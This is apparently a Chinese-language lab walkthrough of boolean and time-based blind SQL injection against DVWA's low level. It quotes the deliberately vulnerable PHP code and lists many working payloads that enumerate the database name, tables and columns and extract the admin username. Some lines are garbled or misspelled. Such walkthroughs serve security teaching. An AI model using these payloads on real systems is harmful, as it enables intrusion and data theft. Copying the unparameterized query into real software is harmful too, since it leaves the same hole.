1.理论知识
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
SQL盲注和SQL注入的区别就是盲注它不会有完整的回显,这里分为两种,一种是布尔盲注,另一种是时间盲注。
布尔盲注:会根据我们输入的信息返回true和fales,不会有我们之前SQL注入的报错信息。
时间盲注:没有任何回显,无论输入任何值,返回情况都会按正常的来处理
针对以上两种情况我们会用不同的方法进行处理,具体操作下面会进行讲解。
2.低级
先查看源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
通过 q u e r y = " S E L E C T f i r s t n a m e , l a s t n a m e F R O M u s e r s W H E R E u s e r i d = ′ query = "SELECT first_name, last_name FROM users WHERE user_id = ' query="SELECTfirstname,lastnameFROMusersWHEREuserid=′id’;"; 查询数据库,最会的返回值只有用户存在和不存在两种情况。当碰到这种情况我们的处理方法就可以是每次都询问一个能用对错回答的问题,来猜解答案,比如说我们可以问服务器的数据库名是不是A,不是我们再问是不是B,直到我们可以推出我们想要的结果。
下面我们开始打靶场,第一步与SQL注入一样,判断注入类型,我们已知输入1显示用户存在,1’用户不存在。
输入
1' and 1 = 1 #
显示存在,实际情况是执行了
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#';
再根据 1’ and 1 = 2 #不存在可以判断是字符型注入
(这里有一个问题:输入1 and 1 = 2 返回时存在,我没搞懂…)
之后我们开始猜解数据库名,需要用到
1' and length(database())=1 #
这个语句是用来判断数据库名字的长度的,当注入这个语句时候,数据库会先执行and后面的语句,执行完才会查询and前面的语句。
等于1显示不存在,我们再让它等于2 ,也不存在。一直到4才存在,说明数据库名字的长度是4
如果数据库名字过长,我们还可用
1' and length(database())>10 #
进行判断,执行的语句就是
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ and length(database())>10 # ';
之后我们来判断数据库名的4个字符是什么,我们可以来测试每次字符的ascii值。
我们要用到的语句是
1' and ascii(substr(database(),1,1))=1 #
同时也可用
1' and ascii(substr(database(),1,1))>x #
来缩小范围
一步步靠近发现他的ascii值是100,100对应的字符是d,同理
1' and ascii(substr(database(),2,1))=118 #
1' and ascii(substr(database(),3,1))=119 #
1' and ascii(substr(database(),4,1))=97 #
所以数据库名为dvwa
之后猜解表的信息,需要判断表的个数,表的名字长度,表的名字
对于Mysql,信息记录的上下级关系为:DBMS数据库管理系统—>information_schema库—>tables表 —>table_schema、table_name、table_rows…字段。
这里用到的语句为:
1' and (select count (table_name) from information_schema.tables where table_schema=database())=1#
1错误我们再试试2,1’ and (select count(table_name) from information_schema.tables where table_schema=database()) =2#
查询成功说明数据库中有两个表,之后确定表名长度用
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #
x为我们猜测的表名长度,从1开始试,直到返回正确,当x为9时返回存在,说明表名长度为9
之后通过比较输入字母的ascii值的显示正常与否来逐个确定表名9个字符是什么
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,a))>或<字母的ascii值 #
其中a表示为第几个表
不断尝试可得出表名为guestbook、users
之后猜解表宽
1’ and (select count(column_name)from information_schema.columns where table_name=‘usere’)=x #
从x=1试,当试到8时成功,说明表有8列即8个字段
之后猜解每一列列名长度
1’ and length(substr((select coulumn_name from information_schema.columns where table_name=‘users’ limit 0,1),a))=x #
a为第几列,x为该列我们猜测的长度,最后得出第一列7位数,第二列8位数等等
之后猜列名
第一列名第一位
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))>97 #
最终定在117,u
第二位
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2))=115 #
最终定位115,s
同理第二列
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1))=102 #
102位f
后所有的列名为:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login 8个
猜解用户名
1’ and (ascii(substr((select user from users limit 0,1),1,1)))=97 #
为a
···
1’ and (ascii(substr((select user from users limit 0,1),2,1)))=100 #
···
为d
最终结果为admin,用户名为admin
基于时间盲注不会回显对不对,但我们可以在执行成功时让系统sleep几秒,一旦网页有几秒缓冲就说明执行成功
1’ and sleep(5) #
正确,为字符型
确定库名长
1' and if(length(database())=1,sleep(5),1) # 没有延迟
1' and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=3,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1) # 明显延迟
猜解数据库的名称
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
成功
1’ and if(ascii(substr(database(),1,1))<112,sleep(5),1)#
成功,全为小写字母
和布尔值一样的方法试出
1’ and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
第一位为100,d
1’ and if(ascii(substr(database(),2,1))=118,sleep(5),1)#
第二位为118,v
最后以此类推为dvwa
猜解数据库有几个表
1’ and if((select count(table_name)from information_schema.tables where table_schema=‘dvwa’)=1,sleep(5),1)#
失败
1’ and if((select count(table_name)from information_schema.tables where table_schema=‘dvwa’)=2,sleep(5),1)#
成功,有两个表
猜解表的长度
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=1,sleep(5),1)#
失败
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9,sleep(5),1)#
成功,说明第一个表为9位
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=5,sleep(5),1) #
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=5,sleep(5),1) #
成功,说明是5
猜解表的名称
第一位
1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))>97,sleep(5),1)#
1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))<112,sleep(5),1)#
第二位
1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))<112,sleep(5),2)#
然后慢慢试
两个表为guestbook,users
猜解表中有几个字段
1’ and if((select count(column_name)from information_schema.columns where table_name=‘users’)=8,sleep(5),1) #
猜解字段的长度
1’ and if(length(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=7,sleep(5),1)#
猜解字段的名称
1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))>97,sleep(5),1)#
然后慢慢猜解
中级
后面中级和高级的操作其实和我们之前的SQL注入中高级操作流程大同小异,只是中级抓包更改的包要以盲注LOW级为标准